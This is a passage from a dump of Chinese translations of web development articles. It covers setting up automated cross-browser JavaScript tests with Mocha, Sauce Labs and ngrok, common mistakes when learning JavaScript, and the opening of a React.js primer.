），但从我的经验来看，这些工具制造的麻烦比它们解决的问题还要多。那些“有求必应”的工具会在你掌握了它们之后变得很好用，但往往掌握使用这些工具的技巧本身就是个难题。并且我想要的是真正理解这一过程在底层的工作原理，以便在出现问题的时候我能解决。\n\n对我来说，最好的学习方法就是尝试着把一件事情从零开始做一遍，所以我决定自己写一个测试工具，然后把我从中学到的分享给开发者社区。\n\n我之所以写这篇文章，是因为多年之前当我第一次开始发布开源项目的时候，我就希望能存在这样的一篇文章。如果你也想做自动化的跨浏览器 JavaScript 单元测试，却从未尝试过，那么这篇文章就是为你而写的。这篇文章将会阐释这个过程并教你怎么自己去做。\n\n## 手工测试过程\n\n在我解释自动化测试之前，我觉得有必要确认一下我们对怎么做手工测试的理解是一致的。\n毕竟，自动化测试只是用机器代替人去不停重复一个已经存在的流程。如果你不能完全理解怎样去做手工测试，那么你也不太可能理解自动化测试的过程。\n\n在手工测试中，你把想要做的测试写在一个测试文件中，大概看起来像这样：\n\n    var assert = require('assert');\n    var SomeClass = require('../lib/some-class');\n\n    describe('SomeClass', function() {\n      describe('someMethod', function() {\n        it('accepts thing A and transforms it into thing B', function() {\n          var sc = new SomeClass();\n          assert.equal(sc.someMethod('A'), 'B');\n        });\n      });\n    });\n\n这个栗子使用了 [Mocha](https://mochajs.org/) 和 Node.js 里面的 [`assert`](https://nodejs.org/api/assert.html) 模块, 但具体用哪一个库并不重要 —— 你可用任何一个你熟悉的库。\n\n由于 Mocha 运行在 Node.js 上，你可以用下面的命令在 terminal（命令行）里测试刚刚写的栗子：\n\n    mocha test/some-class-test.js\n\n要在浏览器里打开这个测试栗子，你需要一个 `<script>` 标签的HTML文件来加载 JavaScript，并且因为浏览器并不知道 `require` 语句是啥，你还要[browserify](http://browserify.org/) 或 [webpack](https://webpack.github.io/) 打包工具来处理依赖管理。 \n\n    browserify test/*-test.js > test/index.js\n\n使用像 browserify 或 webpack 这样的 bundlers 的好处是它们会把你所写的所有测试以及这些测试需要的资源都放进一个文件里，这样你就可以很方便的把这个文件加载到测试页面里了。[[1]](https://philipwalton.com/articles/learning-how-to-set-up-automated-cross-browser-javascript-unit-testing#footnote-1)\n\n一个典型的使用 Mocha 的测试文件看起来像这样：\n\n    <!DOCTYPE html>\n    <html>\n    <head>\n      <meta charset=\"utf-8\">\n      <title>Tests</title>\n      <link href=\"../node_modules/mocha/mocha.css\" rel=\"stylesheet\" />\n      <script src=\"../node_modules/mocha/mocha.js\"></script>\n    </head>\n    <body>\n    \n      <!-- A container element for the visual Mocha results -->\n      <div id=\"mocha\"></div>\n    \n      <!-- Mocha setup and initiation code -->\n      <script>\n      mocha.setup('bdd');\n      window.onload = function() {\n        mocha.run();\n      };\n      </script>\n    \n      <!-- The script under test -->\n      <script src=\"index.js\"></script>\n    \n    </body>\n    </html>\n\n如果你不使用 Node.js，那么你在一开始就已经有了类似这样的 HTML 一个文件，唯一的不同就是你依赖的资源是单独用 `<script>` 标签列出来的。\n\n### 错误检测\n\n你的测试框架知道每一个测试是否通过了，因为 assert 语句会在每一个返回值为否的同时返回一个错误信息。测试框架会使用一个 try/catch 代码块来试运行每一个单元测试，这样一旦有错误，要么会被直接显示在页面上，要么会被记录在 console 里。\n\n大多数测试框架（比如 Mocha ）会提供接口，这样你在页面里写的其他脚本就可以使用这些测试结果。这是一个自动化测试的关键功能 —— 为了自动化脚本能起作用，它需要能够提取测试脚本的结果。\n\n### 手工测试的好处\n\n手工测试的一个巨大好处就是，万一你某个单元测试出现问题了，你可以很方便的利用浏览器自带的开发者工具来调试。\n\n就像下面这个过程这么简单：\n\n    describe('SomeClass', () => {\n      describe('someMethod', () => {\n        it('accepts thing A and transforms it into thing B', () => {\n          const sc = new SomeClass();\n\n          debugger;\n          assert.equal(sc.someMethod('A'), 'B');\n        });\n      });\n    });\n\n现在，当你开着开发者工具，重新打包并刷新浏览器，你就可以一步一步的找出代码中的错误了。\n\n对比来看，市面上大多数流行的自动测试框架却使这一过程变得困难——它们提供的一部分便利性只是在于它们打包了你的单元测试并为你新建主 html 页面。\n\n在你的代码报错之前，这一切都还不错——因为当你的代码真的出错的时候，没有办法来简单地重现错误并本地调试。\n\n## 自动化过程\n\n虽然手工测试有它的好处，但也存在着很多不足。首现，每次你做测试的时候，打开好多个浏览器本身就很麻烦，并且太容易出错或者遗漏。更不要提的是，大部分开发者都不太可能把所有版本的浏览器都装在我们的开发环境里。\n\n如果你很认真的要测试你的代码，并想要确保每一次更新都被适当的测试了，那么你需要让测试过程自动化。不论你是多么严谨的一个人，手工测试总是太容易出错或者是忘记什么东西，并且这也是一种浪费时间。\n\n当然，自动化测试也有一些不好的地方。最常见的是自动化测试工具会引入一系列新问题。稍微不同的搭建过程，奇奇怪怪的测试，以及难以调试的错误。\n\n当我计划做我自己的自动化测试系统的时候，我想避免掉进这个坑，并且保留手工测试的好处，所以我做了一个需求列表，\n\n毕竟，如果一个自动化系统带来新的麻烦，那也算不上有什么进步。\n\n### 要求\n\n*   能从命令提示行中运行单元测试\n\n*   能在本地 debug 出错的单元测试\n\n*   能通过 npm 安装所有依赖的资源，这样任何人只需要输入 `nam install && nam test` 就可以运行我的代码\n\n*   能够在自动集成服务器上和我的开发机器上有相同的运行测试过程，那样搭的环境是一样的，并且不需要检查新的改动就能调试错误。\n\n*   能够在有新的 commit 或 pull request 的时候自动运行所有的代码\n\n在脑子里有这样大致的一个列表之后，下一步我们就可以埋头研究怎样让自动化、跨浏览器的 JavaScript 单元测试怎样在云测试提供商的平台上运行了。\n\n### 云测试是怎样运作的\n\n现在有很多云测试服务提供商，每一家都各有优缺点。从我的情况来看，我在写一个开源软件，所以我只关心为开源项目提供免费服务的提供商。[Sauce Labs](https://saucelabs.com/opensauce/) 是唯一一家不要求我提供电子邮件支持就可以注册一个新的开源账户的。\n\n当我开始研究 Sauce Lab 上关于 JavaScript 单元测试的资料的时候，它的简单直白让我喜出望外——大量“号称”好用的测试框架让我错误的以为这一个也会非常难用（囧）。\n\n就像我之前强调的一样，我希望我的自动化测试和手工测试本质上是一样的——事实上也是如此。\n\n下面是我用到的几个步骤：\n\n1. 你提供给 Sauce Labs 需要被测试的网页的地址，以及一个包含浏览器/操作系统的列表\n2. Sauce Labs 使用 [selenium webdriver](http://www.seleniumhq.org/projects/webdriver/) 把测试页面加载到每一个你希望测试的浏览器/操作系统组合上（就是你刚刚提供的那个列表）\n3. Webdriver 会检测哪些单元测试没有通过，并记录测试结果\n4. Sauce Labs 把最终结果提供给你\n\n就是看起来这么简单\n\n我一开始还错误的以为我必须把 JavaScript 的源码上传到 Sauce Labs，然后在他们的服务器上运行，但其实他们会直接去你（步骤1里）提供的地址找到需要运行的文件。这和手工测试像极了——唯一的不同就是 Sauce Labs 帮你打开所有的浏览器并帮你记录结果。\n\n### 关于 Sauce Labs 的 API\n\nSauce Labs 上有关单元测试的 API 里有两个方法：\n\n*   [Start JS Unit Tests](https://wiki.saucelabs.com/display/DOCS/JavaScript+Unit+Testing+Methods#JavaScriptUnitTestingMethods-StartJSUnitTests)\n*   [Get JS Unit Test Status](https://wiki.saucelabs.com/display/DOCS/JavaScript+Unit+Testing+Methods#JavaScriptUnitTestingMethods-GetJSUnitTestStatus)\n\nStart JS Unit Tests](https://wiki.saucelabs.com/display/DOCS/JavaScript+Unit+Testing+Methods#JavaScriptUnitTestingMethods-StartJSUnitTests) 这个方法会在你提供的每一个浏览器/操作系统组合上初始化一个测试 HTML 页面。\n\n下面的这个文档给出了一个用 curl 的栗子：\n\n    curl https://saucelabs.com/rest/v1/SAUCE_USERNAME/js-tests \\\n      -X POST \\\n      -u SAUCE_USERNAME:SAUCE_ACCESS_KEY \\\n      -H 'Content-Type: application/json' \\\n      --data '{\"url\": \"https://example.com/tests.html\",  \"framework\": \"mocha\", \"platforms\": [[\"Windows 7\", \"firefox\", \"27\"], [\"Linux\", \"chrome\", \"latest\"]]}'\n\n既然这是篇关于 JavaScript 单元测试的文章，我来给一个用了 Node 里面 [request](https://www.npmjs.com/package/request) 组件的栗子，如果你使用 Node.js 的话，这个栗子应该跟你做的东西更贴近：\n\n    request({\n      url: `https://saucelabs.com/rest/v1/${username}/js-tests`,\n      method: 'POST',\n      auth: {\n        username: process.env.SAUCE_USERNAME,\n        password: process.env.SAUCE_ACCESS_KEY\n      },\n      json: true,\n      body: {\n        url: 'https://example.com/tests.html',\n        framework: 'mocha',\n        platforms: [\n          ['Windows 7', 'firefox', '27'],\n          ['Linux', 'chrome', 'latest']\n        ]\n      }\n    }, (err, response) => {\n      if (err) {\n        console.error(err);\n      } else {\n        console.log(response.body);\n      }\n    });\n\n注意到在 body 里面有 `framework: ‘mocha’` 这段代码：Sauce Labs 对很多流行的 JavaScript 单元测试框架都提供支持，包括 Mocha，Jasmine, QUnit，以及 YUI。当然，这里所谓的“支持”，仅仅是指 Sauce Labs 的网页驱动知道在哪里找到测试结果（尽管有时候连这一点都做不到，还需要你自己完成，这一点我们待会儿再说）。\n\n如果你使用了一个不再支持列表内的测试框架，你可以设置 `framework: ‘custom’`，然后 Sauce Labs 会去全局变量里找一个叫  `window.global_test_result` 的变量。[自定义框架](https://wiki.saucelabs.com/display/DOCS/Reporting+JavaScript+Unit+Test+Results+to+Sauce+Labs+Using+a+Custom+Framework)这部分文档对测试结果的格式进行了说明。\n\n#### 让 Mocha 的测试结果显示在 Sauce Labs 的网页驱动客户端上\n\n尽管在一开始你就告诉 Sauce Labs 你在用 Mocha，你依然需要更新你的 HTML 文件，这样你才能把测试结果放到一个 Sauce Labs 有访问权限的全局变量里。\n\n为了添加对 Mocha 的支持，在 html 页面中做如下改变，把：\n\n    <script>\n    mocha.setup('bdd');\n    window.onload = function() {\n      mocha.run();\n    };\n    </script>\n\n改成：\n\n    <script>\n    mocha.setup('bdd');\n    window.onload = function() {\n      var runner = mocha.run();\n      var failedTests = [];\n    \n      runner.on('end', function() {\n        window.mochaResults = runner.stats;\n        window.mochaResults.reports = failedTests;\n      });\n    \n      runner.on('fail', logFailure);\n    \n      function logFailure(test, err){\n        var flattenTitles = function(test){\n          var titles = [];\n          while (test.parent.title){\n            titles.push(test.parent.title);\n            test = test.parent;\n          }\n          return titles.reverse();\n        };\n    \n        failedTests.push({\n          name: test.title,\n          result: false,\n          message: err.message,\n          stack: err.stack,\n          titles: flattenTitles(test)\n        });\n      };\n    };\n    </script>\n\n上述代码和 Mocha 默认模板的唯一区别是上述代码将测试结果以 Sauce Labs 接受的格式分配给一个叫 window.mochaResults  的变量。因为我们新增的这些代码和我们手工在浏览器里测试代码并不冲突，你可以放心的把这段设置成 Mocha 的默认模板。\n\n重申一下我之前强调的一点，当 Sauce Labs “运行”你的单元测试的时候，它并不是真的在运行任何东西 —— 他只是访问一个网页，直到一个特定值在 `window.mochaResults` 中被找到，然后它记录下这些值。仅此而已。\n\n#### 看看你的测试通过了没有\n\n[Start JS Unit Tests](https://wiki.saucelabs.com/display/DOCS/JavaScript+Unit+Testing+Methods#JavaScriptUnitTestingMethods-StartJSUnitTests) 这个方法仅仅让 Sauce Labs 把单元测试放进一个任务列表中，但并不返回测试结果。它仅仅返回一个任务队列中的任务 ID 列表，看起来像这样：\n\n    {\n      \"js tests\": [\n        \"9b6a2d7e6c8d4fd2afeeb0ff7e54e694\",\n        \"d38688ec7256497da6966f4523ddee76\",\n        \"14054e68ccd344c0bed77a798a9ce1e8\",\n        \"dbc54181f7d947458f52201ea5fcb901\"\n      ]\n    }\n\n要看你的测试到底通过没有，你需要调用 [Get JS Unit Test Status](https://wiki.saucelabs.com/display/DOCS/JavaScript+Unit+Testing+Methods#JavaScriptUnitTestingMethods-GetJSUnitTestStatus) 这个方法。这个方法接收一个任务 ID 列表，并返回每一个任务的状态。\n\n思路是你定期地调用这个方法，知道所有的任务都完成：\n\n    request({\n      url: `https://saucelabs.com/rest/v1/${username}/js-tests/status`,\n      method: 'POST',\n      auth: {\n        username: process.env.SAUCE_USERNAME,\n        password: process.env.SAUCE_ACCESS_KEY\n      },\n      json: true,\n      body: jsTests, \n\n    }, (err, response) => {\n      if (err) {\n        console.error(err);\n      } else {\n        console.log(response.body);\n      }\n    });\n\n返回值看起来像这样：\n\n    {\n      \"completed\": false,\n      \"js tests\": [\n        {\n          \"url\": \"https://saucelabs.com/jobs/75ac4cadb85e415fae957f7811d778b8\",\n          \"platform\": [\n            \"Windows 10\",\n            \"chrome\",\n            \"latest\"\n          ],\n          \"result\": {\n            \"passes\": 29,\n            \"tests\": 30,\n            \"end\": {},\n            \"suites\": 7,\n            \"reports\": [],\n            \"start\": {},\n            \"duration\": 97,\n            \"failures\": 0,\n            \"pending\": 1\n          },\n          \"id\": \"1f74a237d5ba4a47b5a42570ae1e7999\",\n          \"job_id\": \"75ac4cadb85e415fae957f7811d778b8\"\n        },\n        // ... the rest of the jobs\n      ]\n    }\n\n当 `response.body.complete` 这个属性的值为 `true` 的时候，意味着你所有的任务都已经完成了，你可以遍历每一个任务来看它们是否通过了。\n\n### 在 localhost 上进行测试\n\n我已经解释了 Sauce Labs 通过访问一个网址来运行你的单元测试。当然，这就意味着你提供的网址可以在互联网上被所有人访问的。\n\n但如果你使用 `localhost` 的话，这又是个麻烦。\n\n不过你放心，这个问题已经有了一堆解决方案，包括官方推荐的 [Sauce Connect](https://wiki.saucelabs.com/display/DOCS/Sauce+Connect+Proxy) —— 一个由 Sauce Labs 发布的代理服务器软件，它是用来连接 Sauce Labs 的虚拟机和你的本地机器的。\n\nSauce Connect 在设计的时候就考虑到了安全性，任何一个第三方都几乎不可能获取你的代码。但 Sauce Connect 不好的一面就是它比较难以设置和使用。\n\n如果安全性是你代码的一个要点，那或许 Sauce Connect 值得你花点时间去研究；如果不是的话，那么还有一些其他相似的解决方案能让过程更简单。\n\n我选择了 [ngrok](https://ngrok.com/)。\n\n#### ngrok\n\n[ngrok](https://ngrok.com/) 是一个用来和 localhost 建立安全连接的小工具。它会为本地服务器创建一个公共的 URL[[2]](https://philipwalton.com/articles/learning-how-to-set-up-automated-cross-browser-javascript-unit-testing#footnote-2)，而这正是你使用 Sauce Labs 所需要的。\n\n如果你在虚拟机上做过开发或者是手工测试，那你很可能已经听过 ngrok，即使没有的话，你也应该去了解一下它，这是一个非常实用的小工具。\n\n在本地安装 ngrok 非常方便，你只需要下载编译好的代码并把它加到 path 系统变量就好了（或者“并把它添加到路径就好了”？）。当然，如果你要用 Node 的话你也可以通过 npm 来安装：\n\n    npm install ngrok\n\n你也可以通过程序从 Node 来启动 ngrok，请看下面的代码（如果你想完整的了解细节的话，这里是 [API文档](https://philipwalton.com/articles/learning-how-to-set-up-automated-cross-browser-javascript-unit-testing) )：\n\n    const ngrok = require('ngrok');\n\n    ngrok.connect(port, (err, url) => {\n      if (err) {\n        console.error(err);\n      } else {\n        console.log(`Tests now accessible at: ${url}`);\n      }\n    });\n\n一旦你的测试文件有了一个公共 URL 之后，使用 Sauce Labs 来跨浏览器测试你的本地代码会从本质上变得更简单。\n\n## 化零为整\n\n这篇文章讨论了很多话题，这也许让自动化、跨浏览器 JavaScript 单元测试看起来很复杂，但其实不是酱紫的。\n\n我的这篇文章结构是从我自己的角度出发，把自己当成一个新手来写的。回顾我的学习历程，由于缺少有用的信息，唯一复杂的是整个过程的工作原理以及如何化零为整。\n\n一旦你理解了这些步骤，这件事情就这么简单，这里是个总结：\n\n**一开始的手工过程：**\n\n1.  把你的单元测试写到一个文件里面，然后把这个文件放进一个 HTML 页面里。\n2.  在本地的一两个浏览器里运行这些单元测试以确保它们没有 bug。\n\n**把手工过程自动化：**\n\n1.  创建一个开源的 Sauce Labs 账户并获取用户名和密码。\n2.  更新测试页面的源代码让 Sauce Labs 可以从 JavaScript 的全局变量中读取测试结果。\n3.  用 ngrok 来创建一个公共 URL。\n4.  调用 Start JS Unit Tests 来运行你的代码。\n5.  定期调用 Get JS Unit Test Status 方法获取测试状态直到测试结束。\n6.  报告结果。\n\n## 敢不敢再简单一点？！\n\n我知道在文章的一开始，我说过一大堆关于你根本不需要任何一个框架就可以做自动化、跨浏览器 JavaScript 单元测试的话，现在我依然相信这一点。但是，尽管上面的过程很简单，你大概也不想每做一个项目就写一遍这样的代码。\n\n我有一些很久以前做过的项目，我想把自动化测试加到这些项目里面，这就让我有了把这做成一个独立模块的动力。\n\n我建议你尝试着把上面这个自动化的过程自己做一下，这样你才能完全理解这个过程是怎么完成的。但如果你没有时间的话，我建议你试试我做的库 [Easy Sauce](https://github.com/philipwalton/easy-sauce)。\n\n### Easy Sauce\n\n[Easy Sauce](https://github.com/philipwalton/easy-sauce)是一个包含 Node 包和叫 `easy-sauce` 的命令行工具，现在我如果有在 Sauce Labs 云上做跨浏览器测试的 JavaScript 项目，我都用它。\n\n`easy-sauce` 命令行需要你 HTML 测试文件的路径（默认 `/test/`），一个可以开启本地服务器的端口（默认 `1337`），以及一个含有浏览器/操作系统的列表。`easy-sauce` 接下来会在 Sauce Labs 的 selenium 云上运行你的代码，把结果写到 console 里，然后在运行结束的时候自动退出并告诉你哪些测试通过了。\n\n为了更方便 npm 包的用户，`easy-sauce` 会在 `package.json` 里自动寻找设置选项，这样你甚至不用分开存储他们。这让软件与用户的交流变得更清楚，也让你的用户清楚的知道你的包到底支持哪些浏览器/操作系统。\n\n关于完整的 `easy-sauce` [使用手册](https://github.com/philipwalton/easy-sauce)，请看我的 Github。\n\n最后，我想强调一下这个只是针对我的个人需求写的一个项目。虽然我认为这个项目会对一部分人很有帮助，我目前还没有计划把它变为一个全面的测试解决方案。\n\n`easy-sauce` 这个项目存在的意义是为了填补一个空白——在这之前，我，以及其他很多开发者都不能在我们声称可以可以支持的环境里面好好测试我们的软件。\n\n## 总结\n\n在文章的一开始我写下了我的要求列表，现在在 Easy Sauce 的帮助下，我可以在我做的任何项目里满足这些需求。\n\n如果你的项目里还没有自动化的跨浏览器 JavaScript 单元测试系统，我推荐你试试 Easy Sauce。即使你不想用它，你现在至少也有了足够的知识在你的项目中解决这个测试问题，或是对现有的测试工具有了更好的了解。\n\n希望你享受测试的过程！\n\n**脚注**\n\n1.  使用连接器的另一个不足之处就是，目前为止内存追踪和 source map兼容的还不是很好。Chrome 浏览器下的一个解决方案是使用[node-source-map-support](https://github.com/evanw/node-source-map-support#browser-support)。\n\n2.  ngrok 生成的链接（URL）是公共的，这意味着理论上互联网上的任何一个人都可以访问这个链接。不过，因为这个链接是随机生成的，而且通常你的测试只需要几分钟就可以了，所以其他人找到这个链接的可能性微乎其微。从这个角度看，虽然 ngrok 的安全性比 Sauce\nConnect 稍弱一些，但仍然是一个相对安全的解决方案。\n"
  },
  {
    "path": "TODO/learning-javascript-9-common-mistakes.md",
    "content": "\n> * 原文地址：[Learning JavaScript: 9 Common Mistakes That Are Holding You Back](https://www.sitepoint.com/learning-javascript-9-common-mistakes/)\n> * 原文作者：[Yaphi Berhanu](https://www.sitepoint.com/author/yberhanu/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/learning-javascript-9-common-mistakes.md](https://github.com/xitu/gold-miner/blob/master/TODO/learning-javascript-9-common-mistakes.md)\n> * 译者：[lekenny](https://github.com/lekenny)\n> * 校对者：[lampui](https://github.com/lampui)，[Yuuoniy](https://github.com/Yuuoniy)\n\n# 学习 JavaScript：9 个常见错误阻碍你进步\n\n很多人尝试学习 JavaScript ，但是不久就放弃了。然后他们就告诉自己，“JavaScript 太复杂了”，更有甚者说，“我不是前端开发的料”。\n\n这种情况挺让人悲伤的。其实根本不必放弃，所要做的仅仅是换一种不同的学习方法。\n\n在这篇文章中，我们将介绍一些最常见的错误学习方法，并了解如何避免这些错误。许多技巧不仅适用于 JavaScript，甚至可以用到 web 开发上，所以也算是一种福利。\n\n我们来吧！\n\n## 错误 #1：开始学习之前过度分析\n\n开始学习 JavaScript 之前，你可以找到很多相关的信息。如果你去看，就会发现一些 JavaScript 是最好的或者是最坏的、你是需要这个框架还那个框架的相关信息。你也可能会听到你需要以某种方式编写 JavaScript，否则你永远不会成为“真正”的开发人员等。\n\n不管这些说的正确与否，没有什么比浪费六个月到一年还没有开始更糟糕。\n\n开始敲代码吧，它不一定完美，可能很糟糕。但如果你开始了，就通过了阻碍很多人的障碍之一了。\n\n## 错误 #2：学习原生 JavaScript 之前学习框架\n\nJavaScript 框架建立在原生 JavaScript 之上，因此如果你理解了 JavaScript，你也就自然而然的知道如何使用任何 JavaScript 框架的基本原理。\n\n然而，如果你直接学习一个框架，最后也只是记住了它的语法却不理解它的原理。这就像在不知道词语意思的情况下造句，最终你只是随便地记住了一些词语，却不知道这些词语的意思并且不会组织这些词语来学以致用。\n\n如果你直接进入一个框架，那将会更难学习，当你需要另一个框架你会更难适应。如果你首先学习基础的 JavaScript，那么你将有一个坚实的基础来了解所有的框架。\n\n## 错误 #3：好高骛远\n\n最常见的错误之一就是在理解概念之后立即采取行动。\n\n我一直在努力解决这个问题，因为一旦了解某些东西，你就想更进一步。\n\n像对待新玩具一样对待每个概念是很有帮助的；这意味着你需要花一些时间来享受你刚学到的东西。玩耍、实验，看看你能不能做一些新的事情。你会学到很多，你会记得更好。\n\n当你感觉自己闭着眼睛都能运用自如的时候再继续向下学习。可能在达到这一步之前，你需要更多的时间，但是这将是你接下来的学习变得更快。\n\n另一方面，如果你过于急躁，你就不会太注意细节。但令人沮丧的是，这会使你之后的学习成本大幅提升。其实这也是人们常说要放弃学习 JavaScript 的常见原因之一。\n\n## 错误 #4：没有将概念理解透彻\n\n学习就像爬楼梯：如果你能走一步，你可以继续采取更多的步骤，直到你达到目标。当有些东西难以理解时，往往是因为你想要进行一次飞跃，而不是一次走一步。当然这是痴心妄想！\n\n在实际场景中，我看到人们对某段代码不理解的时候，我会请他们解释一下，他们会试图一下解释清整个问题。那我会请他们再一行一行的解释一遍，这样是有道理的。\n\n如果有些部分很让人费解，那经常是因为跳过了某些东西，那么这也将有助于你去关注细节，直到找出症结所在。如果一个概念在分解之后仍然没有意义，那你也会有更容易找到相关解决方法，因为查找特定的主题比胡乱搜索更容易。\n\n## 错误 #5：太早尝试复杂的项目\n\n刚开始学习 JavaScript 的人经常会说“我就随便定个小目标，写一个 Facebook 那样的网站算了”，没有意识到项目所涉及的深度。当项目逐渐深入时，他们就放弃学习 JavaScript 了。\n\n我更详细地介绍了[关于项目](https://www.sitepoint.com/projects-can-sometimes-be-the-worst-way-to-learn-javascript/)，但是在学习的时候，从一些基本概念开始会更容易。当你开始做项目时，你可以在工具包中添加一些构建工具。\n\n更明确地说，我不是要那种越旷日持久的项目。我刚刚发现，如果我先做了一些简单的部分，比如在浏览器中显示一些文本或响应一个按钮，那么就可以更轻松地启动项目。\n\n## 错误 #6：不在真实环境下练习\n\n当你学习 JavaScript 时，你可能会在不符合真实环境下进行练习。例如，你可能在网站的内置代码编辑器中输入内容，或者你可能依赖于教程中的粘贴文件。\n\n这些方法对于学习来说可能是非常好的，但是你也可以尝试自己搭建环境。这意味着使用你自己的文本编辑器，并从头开始编写项目。\n\n如果你不自己独立练习每一个概念，那你会依赖于训练环境。你最终会遇到这样的情况：你已经花了很多时间来学习，但你一个都无法掌握。\n\n## 错误 #7：将自己与大神进行比较\n\n让自己更沮丧的最简单的方法之一就是和大神进行比较。因为你总是看他们在那里，而不是看他们如何到达那里。\n\n举个例子，人们看到我的教程，并问我如何写这么干净的代码。他们说他们无法编写像这样的干净的代码，所以也许他们根本就不是 JavaScript 的那块料。\n\n事实是我的过程是一团糟。我不断试验、犯错、查阅资料，写下丑陋的代码，最后把所有的内容都细化成一个可呈现的教程。人们看了优秀的版本，并且假设整个过程就是这样的。我也做过关于教程作者的这些假设，直到我开始写我自己的教程。\n\n关键点是，认真学习你正在学习的东西，你会得到进步。继续重复这个过程，很快别人就会好奇你是如何达到那种高度的。\n\n## 错误 #8：只看教程不写代码\n\n你会自然而然的花费大量的时间来观看视频和教程，但是除非你自己动手编写代码，否则你不能真的学会。\n\n光看而不采取实际行动是很危险的，你会有一种你正在学习的错觉。六个月后，你会发现自己什么都没学会。\n\n写 15 分钟的代码比上你光看一小时的教程有用多了。\n\n## 错误 #9：没有事先理解或自行尝试就盲目跟从教程\n\n阅读教程时，很容易陷入照葫芦画瓢的情况。这种教程并不会教你如何解决一个问题，例如需要进行怎样的测试，如何一步一步的探索可能出问题的方向。因此，只会跟着教程走的人往往学不到真正的知识。\n\n那么解决方案是什么？\n\n不要只知道跟着教程一步步走，而是要花点儿时间去自己实现。例如，如果您正在学习幻灯片教程，请尝试显示和隐藏 div，然后尝试计时，然后尝试另一个小部分。相对于跟着教程一步步地走，通过亲身尝试并拓展你将学到更多知识，并且有可能将它应用得更好。\n\n## 小贴士\n\n在你读完这篇文章后，如果你问我最想让你记住什么，那就是通过采取最小的步骤来取得最大的进步。\n\n无论你在学习什么，都要好好学习它本质上的东西。尝试你学到的东西，并乐在其中。\n\n有时可能很困难，但这没关系。挑战意味着你正在提升个人能力，这将使你进步。如果一切总是太容易，这可能意味你需要进行些改变了。\n\n我希望这篇文章对你有所帮助，如果有什么其他的帮助过你学习 JavaScript 的方法，欢迎你随时在评论中分享！\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/learning-react-js-is-easier-than-you-think.md",
    "content": "> * 原文地址：[Learning React.js is easier than you think](https://edgecoders.com/learning-react-js-is-easier-than-you-think-fbd6dc4d935a)\n> * 原文作者：[Samer Buna](https://edgecoders.com/@samerbuna)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/learning-react-js-is-easier-than-you-think.md](https://github.com/xitu/gold-miner/blob/master/TODO/learning-react-js-is-easier-than-you-think.md)\n> * 译者：[Cherry](https://github.com/sunshine940326)\n> * 校对者：[LeviDing](https://github.com/leviding)、[undead25](https://github.com/undead25)\n\n# 学习 React.js 比你想象的要简单\n\n## 通过 Medium 中的一篇文章来学习 React.js 的基本原理\n\n![](https://cdn-images-1.medium.com/max/1600/1*YsPpBr_PgtyTR6CFDmKU9g.png)\n\n你有没有注意到在 React 的 logo 中隐藏着一个六角星？只是顺便提下...\n去年我写了一本简短的关于学习 React.js 的书，有 100 页左右。今年，我要挑战自己 —— 将其总结成一篇文章，并向 Medium 投稿。\n\n这篇文章不是讲什么是 React 或者 [你该怎样学习 React](https://medium.freecodecamp.org/yes-react-is-taking-over-front-end-development-the-question-is-why-40837af8ab76)。这是在面向那些已经熟悉了 JavaScript 和 [DOM API](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) 的人的 React.js 基本原理介绍\n\n> 本文采用嵌入式 jsComplete 代码段，所以为了方便阅读，你需要一个合适的屏幕宽度。\n\n下面所有的代码都仅供参考。它们也纯粹是为了表达概念而提供的例子。它们中的大多数有更好的实践方式。\n\n您可以编辑和执行下面的任何代码段。使用 **Ctrl+Enter** 执行代码。每一段的右下角有一个点击后可以在 [jsComplete/repl](https://jscomplete.com/repl) 进行全屏模式编辑或运行代码的链接。\n\n---\n\n#### 1 React 全部都是组件化的\n\nReact 是围绕可重用组件的概念设计的。你定义小组件并将它们组合在一起形成更大的组件。\n\n无论大小，所有组件都是可重用的，甚至在不同的项目中也是如此。\n\nReact 组件最简单的形式，就是一个普通的 JavaScript 函数：\n\n```js\nfunction Button (props) {\n  // 这里返回一个 DOM 元素，例如：\n  return <button type=\"submit\">{props.label}</button>;\n}\n// 将按钮组件呈现给浏览器\nReactDOM.render(<Button label=\"Save\" />, mountNode)\n```\n\n例 1：编辑上面的代码并按 Ctrl+Enter 键执行（译者注：译文暂时没有这个功能，请访问原文使用此功能，下同）\n\n> 括号中的 button 标签将稍后解释。现在不要担心它们。`ReactDOM` 也将稍后解释，但如果你想测试这个例子和所有接下来的例子，上述 `render` 函数是必须的。（React 将要接管和控制的是 `ReactDOM.render` 的第 2 个参数即目标 DOM 元素）。在 jsComplete REPL 中，你可以使用特殊的变量 `mountNode`。\n\n例 1 的注意事项：\n\n- 组件名称首字母大写，`Button`。必须要这样做是因为我们将处理 HTML 元素和 React 元素的混合。小写名称是为 HTML 元素保留的。事实上，将 React 组件命名为 “button” 然后你就会发现 ReactDOM 会忽略这个函数，仅仅是将其作为一个普通的空 HTML 按钮来渲染。\n- 每个组件都接收一个属性列表，就像 HTML 元素一样。在 React 中，这个列表被称为**属性**。虽然你可以将一个函数随意命名。\n- 在上面 Button 函数组件的返回输出中，我们奇怪地写了段看上去像 HTML 的代码。这实际上既不是 JavaScript 也不是 HTML，老实说，这甚至不是 React.js。然而它非常流行，以至于成为 React 应用程序中的默认值。这就是所谓的 [**JSX**](https://facebook.github.io/jsx/)，这是一个JavaScript 的扩展。JSX 也是一个**折中方案**！继续尝试并在上面的函数中返回其他 HTML 元素，看看它们是如何被支持的（例如，返回一个文本输入元素）。\n\n#### 2 JSX 输出的是什么？\n\n上面的例 1 可以用没有 JSX 的纯 React.js 编写，如下：\n\n```js\nfunction Button (props) {\n  return React.createElement(\n    \"button\",\n    { type: \"submit\" },\n    props.label\n  